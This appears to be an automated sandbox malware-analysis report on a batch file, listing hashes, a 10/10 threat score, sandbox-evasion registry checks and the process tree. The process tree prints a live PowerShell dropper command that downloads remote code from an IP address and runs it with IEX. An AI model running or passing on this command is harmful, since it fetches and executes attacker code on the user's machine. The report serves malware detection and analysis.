Analysis
-
max time kernel
99s -
resource
win10v191014 -
submitted
20-12-2019 06:10
Task
task1
Sample
e8kSryaf.bat
Resource
win7v191014
0 signatures
Task
task2
Sample
e8kSryaf.bat
Resource
win10v191014
0 signatures
General
-
Target
e8kSryaf.bat
-
Sample
191220-matk4mdz1j
-
SHA256
632b25be71b19500300e6e3e404c0b3c7bc7f8538bc3db94fac827bb91ee848a
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/e8kSryaf
Signatures
-
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS -
Program crash 1 IoCs
Processes:
WerFault.exepid process 3048 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 3048 WerFault.exe Token: SeBackupPrivilege 3048 WerFault.exe Token: SeDebugPrivilege 3048 WerFault.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
WerFault.exepid process 3048 WerFault.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e8kSryaf.bat"1⤵PID:5028
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/e8kSryaf');Invoke-FRJQQICACGLPV;Start-Sleep -s 10000"2⤵PID:5072
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5072 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3048
-
-